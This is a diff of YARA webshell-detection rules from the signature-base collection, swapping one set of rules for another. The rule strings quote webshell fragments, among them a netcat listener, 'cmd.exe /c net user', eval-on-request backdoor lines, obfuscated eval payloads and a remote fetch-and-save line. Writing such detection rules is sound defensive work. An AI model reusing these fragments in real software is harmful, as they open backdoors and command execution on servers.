+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3141-L3162"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3b8bb6ca2eb146f8c170d629612ba12d4663445d443b681f2859af25d50ab6fe"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 		super_rule = 1
-		hash0 = "4005b83ced1c032dc657283341617c410bc007b8"
-		hash1 = "4005b83ced1c032dc657283341617c410bc007b8"
-		hash2 = "7097c21f92306983add3b5b29a517204cd6cd819"
-		hash3 = "7097c21f92306983add3b5b29a517204cd6cd819"
+		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
+		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
+		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
+		hash3 = "4cc68fa572e88b669bce606c7ace0ae9"
+		hash4 = "4b45715fa3fa5473640e17f49ef5513d"
+		hash5 = "fa87bbd7201021c1aefee6fcc5b8e25a"
 
 	strings:
-		$s0 = "\"<form name=\"\"searchfileform\"\" action=\"\"?action=searchfile\"\" method=\"" ascii
-		$s1 = "\"<TD ALIGN=\"\"Left\"\" colspan=\"\"5\"\">[\"& DbName & \"]" fullword ascii
-		$s2 = "Set Conn = Nothing " fullword ascii
+		$s1 = "private static final int EDITFIELD_ROWS = 30;" fullword
+		$s2 = "private static String tempdir = \".\";" fullword
+		$s6 = "<input type=\"hidden\" name=\"dir\" value=\"<%=request.getAttribute(\"dir\")%>\""
 
 	condition:
-		filesize <341KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell__Injection_Jmcook_Jmpost_Manualinjection : FILE
+rule SIGNATURE_BASE_Webshell_000_403_C5_Querydong_Spyjsp2010
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - from files Injection.exe, jmCook.asp, jmPost.asp, ManualInjection.exe"
+		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, queryDong.jsp, spyjsp2010.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e154ecb5-9d56-520a-b76a-635a8864f0a8"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L923-L942"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0f3a4f81326154a6a6ac448d18be29ad534917bc39aba26cc458f06b43001681"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3163-L3184"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dd01bb059d741fedaee17d46355c7cd8a845d714b20ae37db36424544b954d2f"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 		super_rule = 1
-		hash0 = "3484ed16e6f9e0d603cbc5cb44e46b8b7e775d35"
-		hash1 = "5e1851c77ce922e682333a3cb83b8506e1d7395d"
-		hash2 = "f80ec26bbdc803786925e8e0450ad7146b2478ff"
-		hash3 = "e83d427f44783088a84e9c231c6816c214434526"
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "8b457934da3821ba58b06a113e0d53d9"
+		hash3 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash4 = "655722eaa6c646437c8ae93daac46ae0"
 
 	strings:
-		$s1 = "response.write  PostData(JMUrl,JmStr,JmCok,JmRef)" fullword ascii
-		$s2 = "strReturn=Replace(strReturn,chr(43),\"%2B\")  'JMDCW" fullword ascii
+		$s2 = "\" <select name='encode' class='input'><option value=''>ANSI</option><option val"
+		$s7 = "JSession.setAttribute(\"MSG\",\"<span style='color:red'>Upload File Failed!</spa"
+		$s8 = "File f = new File(JSession.getAttribute(CURRENT_DIR)+\"/\"+fileBean.getFileName("
+		$s9 = "((Invoker)ins.get(\"vd\")).invoke(request,response,JSession);" fullword
 
 	condition:
-		filesize <7342KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Cmfshell : FILE
+rule SIGNATURE_BASE_Webshell_R57Shell127_R57_Kartal_R57
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file cmfshell.cmf"
+		description = "Web Shell - from files r57shell127.php, r57_kartal.php, r57.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c5670deb-952c-5ba4-949a-097cc09bb108"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L944-L959"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b9b2107c946431e4ad1a8f5e53ac05e132935c0e"
-		logic_hash = "f138a82c2d6a831626fe200308eb89cb50ffeec2f2722599eb4ccbd082bad73d"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3185-L3203"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fd849f76f8348ee57a9c96eed91c8cac416fdc45a08c93e93ebc952375de27a3"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "ae025c886fbe7f9ed159f49593674832"
+		hash1 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash2 = "4108f28a9792b50d95f95b9e5314fa1e"
 
 	strings:
-		$s1 = "<cfexecute name=\"C:\\Winnt\\System32\\cmd.exe\"" fullword ascii
-		$s2 = "<form action=\"<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>\" method=\"post\">" fullword ascii
+		$s2 = "$handle = @opendir($dir) or die(\"Can't open directory $dir\");" fullword
+		$s3 = "if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }" fullword
+		$s5 = "if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_"
 
 	condition:
-		filesize <4KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php4 : FILE
+rule SIGNATURE_BASE_Webshell_Webshells_New_Con2
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file php4.txt"
+		description = "Web shells - generated from file con2.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "82446dff-dd1e-54a8-bb70-570bedc805b5"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L961-L975"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "179975f632baff6ee4d674fe3fabc324724fee9e"
-		logic_hash = "e625b6d1fd2c1e62306ccae2775ee7b53ddcdd7a6baef55b386dfcd92dc2e764"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3205-L3219"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d3584159ab299d546bd77c9654932ae3"
+		logic_hash = "c681b04a1ee4d6af3275b6d772ef35f8bc888a5fcaf3b84f29f77c264e8ad9b9"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "nc -l -vv -p port(" ascii
+		$s7 = ",htaPrewoP(ecalper=htaPrewoP:fI dnE:0=KOtidE:1 - eulaVtni = eulaVtni:nehT 1 => e"
+		$s10 = "j \"<Form action='\"&URL&\"?Action2=Post' method='post' name='EditForm'><input n"
 
 	condition:
-		uint16(0)==0x4850 and filesize <1KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Linux_2_6_Exploit : FILE
+rule SIGNATURE_BASE_Webshell_Webshells_New_Make2
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file 2.6.9"
+		description = "Web shells - generated from file make2.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "22e2aca7-418f-598f-af0c-99942aaf3278"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L977-L991"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ec22fac0510d0dc2c29d56c55ff7135239b0aeee"
-		logic_hash = "7f3e2937796358a949ce980210ddeb1a606a7b9c2b4d9c4a4acad49bb556dfc8"
-		score = 70
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3220-L3233"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9af195491101e0816a263c106e4c145e"
+		logic_hash = "7c94c925b5fd7fbc37428c21a9ea3c5a73f4fa0a20a1f5d03f0d5a990bd6f45a"
+		score = 50
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "[+] Failed to get root :( Something's wrong.  Maybe the kernel isn't vulnerable?" fullword ascii
+		$s1 = "error_reporting(0);session_start();header(\"Content-type:text/html;charset=utf-8"
 
 	condition:
-		filesize <56KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Asp2 : FILE
+rule SIGNATURE_BASE_Webshell_Webshells_New_Aaa
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file asp2.txt"
+		description = "Web shells - generated from file aaa.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5296405-c345-55dc-acd9-be6aca86c60b"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L993-L1009"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b3ac478e72a0457798a3532f6799adeaf4a7fc87"
-		logic_hash = "6107afe9895c4e0c865e78bece160246815a0d3c589bfc79f8b369b94481cd89"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3234-L3249"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "68483788ab171a155db5266310c852b2"
+		logic_hash = "3c5b9dd86dc790b03a8540b2fb3a717c5ad17d34f366a319faa127479387eed9"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<%=server.mappath(request.servervariables(\"script_name\"))%>" fullword ascii
-		$s2 = "webshell</font> <font color=#00FF00>" fullword ascii
-		$s3 = "Userpwd = \"admin\"   'User Password" fullword ascii
+		$s0 = "Function fvm(jwv):If jwv=\"\"Then:fvm=jwv:Exit Function:End If:Dim tt,sru:tt=\""
+		$s5 = "<option value=\"\"DROP TABLE [jnc];exec mast\"&kvp&\"er..xp_regwrite 'HKEY_LOCAL"
+		$s17 = "if qpv=\"\" then qpv=\"x:\\Program Files\\MySQL\\MySQL Server 5.0\\my.ini\"&br&"
 
 	condition:
-		filesize <10KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_FTP_MYSQL_MSSQL_SSH : FILE
+rule SIGNATURE_BASE_Webshell_Expdoor_Com_ASP
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file FTP MYSQL MSSQL SSH.txt"
+		description = "Web shells - generated from file Expdoor.com ASP.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "dd619901-6f0e-527e-9926-808176641c09"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L1011-L1029"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fe63b215473584564ef2e08651c77f764999e8ac"
-		logic_hash = "a66884c71ce0cce05ba6607bf66dc55bfae5393746328c06f5c9ca98005d0caf"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3250-L3267"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "caef01bb8906d909f24d1fa109ea18a7"
+		logic_hash = "838edb9d718b5e1a8be155c4569b4a291b37337e71b435c2b1cd6bcaa53c0dea"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "$_SESSION['hostlist'] = $hostlist = $_POST['hostlist'];" fullword ascii
-		$s2 = "Codz by <a href=\"http://www.sablog.net/blog\">4ngel</a><br />" fullword ascii
-		$s3 = "if ($conn_id = @ftp_connect($host, $ftpport)) {" fullword ascii
-		$s4 = "$_SESSION['sshport'] = $mssqlport = $_POST['sshport'];" fullword ascii
-		$s5 = "<title>ScanPass(FTP/MYSQL/MSSQL/SSH) by 4ngel</title>" fullword ascii
+		$s4 = "\">www.Expdoor.com</a>" fullword
+		$s5 = "    <input name=\"FileName\" type=\"text\" value=\"Asp_ver.Asp\" size=\"20\" max"
+		$s10 = "set file=fs.OpenTextFile(server.MapPath(FileName),8,True)  '" fullword
+		$s14 = "set fs=server.CreateObject(\"Scripting.FileSystemObject\")   '" fullword
+		$s16 = "<TITLE>Expdoor.com ASP" fullword
 
 	condition:
-		filesize <20KB and 3 of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Shell : FILE
+rule SIGNATURE_BASE_Webshell_Webshells_New_Php2
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file shell.txt"
+		description = "Web shells - generated from file php2.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fdfc3fc1-9400-533b-978b-1a1fac112e1f"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L1031-L1047"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b7b34215c2293ace70fc06cbb9ce73743e867289"
-		logic_hash = "be3961d6568acfaadfa09efda2f914259a59f4e30725c7d434e89f6020e40515"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3268-L3281"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fbf2e76e6f897f6f42b896c855069276"
+		logic_hash = "0350df076a25af77fbd8d5db2b38438a10cd5b9237b23b2f64c6360607b41982"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "xPost.Open \"GET\",\"http://www.i0day.com/1.txt\",False //" fullword ascii
-		$s2 = "sGet.SaveToFile Server.MapPath(\"test.asp\"),2 //" fullword ascii
-		$s3 = "http://hi.baidu.com/xahacker/fuck.txt" fullword ascii
+		$s0 = "<?php $s=@$_GET[2];if(md5($s.$s)=="
 
 	condition:
-		filesize <1KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php7 : FILE
+rule SIGNATURE_BASE_Webshell_Bypass_Iisuser_P
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file php7.txt"
+		description = "Web shells - generated from file bypass-iisuser-p.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f21bb0db-d18a-58c0-a227-5baf5536c57b"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L1049-L1064"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "05a3f93dbb6c3705fd5151b6ffb64b53bc555575"
-		logic_hash = "70804d914c6f31422632943bf663f997eb747a290a13b27bfcc66bc3129f136d"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3282-L3295"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "924d294400a64fa888a79316fb3ccd90"
+		logic_hash = "60d0609291e5def26ce949c903ac767db4157b4f9cf4eee315c69ee7a8d8e77b"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "---> '.$ports[$i].'<br>'; ob_flush(); flush(); } } echo '</div>'; return true; }" ascii
-		$s1 = "$getfile = isset($_POST['downfile']) ? $_POST['downfile'] : ''; $getaction = iss" ascii
+		$s0 = "<%Eval(Request(chr(112))):Set fso=CreateObject"
 
 	condition:
-		filesize <300KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Rootkit : FILE
+rule SIGNATURE_BASE_Webshell_Sig_404Super
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file rootkit.txt"
+		description = "Web shells - generated from file 404super.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ab51abca-0790-541c-9f18-1568809ef113"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L1066-L1081"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3bfc1c95782e702cf56184e7d438edcf5802eab3"
-		logic_hash = "5569a179f011ece9802676542d5556fe8d2a2b144e26065b9e0c5bd06c970201"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3296-L3314"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7ed63176226f83d36dce47ce82507b28"
+		logic_hash = "01ecffc6bca2acf1ea4f4d965f3513f7b08ee3d5abbda29d53081f2931ecf9e9"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "set ss=zsckm.get(\"Win32_ProcessSta\"&uyy&\"rtup\")" fullword ascii
-		$s1 = "If jzgm=\"\"Then jzgm=\"cmd.exe /c net user\"" fullword ascii
+		$s4 = "$i = pack('c*', 0x70, 0x61, 99, 107);" fullword
+		$s6 = "    'h' => $i('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f7631')," fullword
+		$s7 = "//http://require.duapp.com/session.php" fullword
+		$s8 = "if(!isset($_SESSION['t'])){$_SESSION['t'] = $GLOBALS['f']($GLOBALS['h']);}" fullword
+		$s12 = "//define('pass','123456');" fullword
+		$s13 = "$GLOBALS['c']($GLOBALS['e'](null, $GLOBALS['s']('%s',$GLOBALS['p']('H*',$_SESSIO"
 
 	condition:
-		filesize <80KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Jspshell : FILE
+rule SIGNATURE_BASE_Webshell_Webshells_New_JSP
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file jspshell.txt"
+		description = "Web shells - generated from file JSP.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ff72f94b-1c0a-5615-b35f-35f69c920292"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L1083-L1098"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d16af622f7688d4e0856a2678c4064d3d120e14b"
-		logic_hash = "9b952f941eb87d7a1b4f747f4e0b0b5ee8876190c6f684b811057a2c78044047"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3315-L3330"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "495f1a0a4c82f986f4bdf51ae1898ee7"
+		logic_hash = "bcb2f5d16ff3cc1454bf4653defe037e02a9228a5b7cf7428b1a577f4207c3c8"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "else if(Z.equals(\"M\")){String[] c={z1.substring(2),z1.substring(0,2),z2};Proce" ascii
-		$s2 = "String Z=EC(request.getParameter(Pwd)+\"\",cs);String z1=EC(request.getParameter" ascii
+		$s1 = "void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i"
+		$s5 = "bw.write(z2);bw.close();sb.append(\"1\");}else if(Z.equals(\"E\")){EE(z1);sb.app"
+		$s11 = "if(Z.equals(\"A\")){String s=new File(application.getRealPath(request.getRequest"
 
 	condition:
-		filesize <30KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Serv_U_Serv_U : FILE
+rule SIGNATURE_BASE_Webshell_Webshell_123
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file serv-u.php"
+		description = "Web shells - generated from file webshell-123.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "dd37b2c3-e06d-5245-97d7-40e5eeadb76f"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-01-27"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L1100-L1117"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1c6415a247c08a63e3359b06575b36017befc0c0"
-		logic_hash = "89cfcbaa38c3b0b6c31af634b4588dcc8bc7a5aa3edac955a162173341d03622"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3331-L3348"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2782bb170acaed3829ea9a04f0ac7218"
+		logic_hash = "1caccadf2bd7d265f9b5026c82acc31ade95313d57382651004db8b5e361312d"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "@readfile(\"c:\\\\winnt\\\\system32\\" ascii
-		$s2 = "$sendbuf = \"PASS \".$_POST[\"password\"].\"\\r\\n\";" fullword ascii
-		$s3 = "$cmd=\"cmd /c rundll32.exe $path,install $openPort $activeStr\";" fullword ascii
+		$s0 = "// Web Shell!!" fullword
+		$s1 = "@preg_replace(\"/.*/e\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6"
+		$s3 = "$default_charset = \"UTF-8\";" fullword
+		$s4 = "// url:http://www.weigongkai.com/shell/"
 
 	condition:
-		filesize <435KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Webshell : FILE
+rule SIGNATURE_BASE_Webshell_Dev_Core
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file WebShell.cgi"
+		description = "Web shells - generated from file dev_core.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9fe4c8fd-3955-5405-add2-835e6f64e8f2"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L1119-L1135"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7ef773df7a2f221468cc8f7683e1ace6b1e8139a"
-		logic_hash = "7d80390a86b1858d2cf4f2be56df7e734aea402de0878adf40ef36721719ca74"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3349-L3367"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "55ad9309b006884f660c41e53150fc2e"
+		logic_hash = "b3c7a9bdaa7e5bf76df9ffba94157777c32199edeaa1c8745e9400d138abc267"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "$login = crypt($WebShell::Configuration::password, $salt);" fullword ascii
-		$s2 = "my $error = \"This command is not available in the restricted mode.\\n\";" fullword ascii
-		$s3 = "warn \"command: '$command'\\n\";" fullword ascii
+		$s1 = "if (strpos($_SERVER['HTTP_USER_AGENT'], 'EBSD') == false) {" fullword
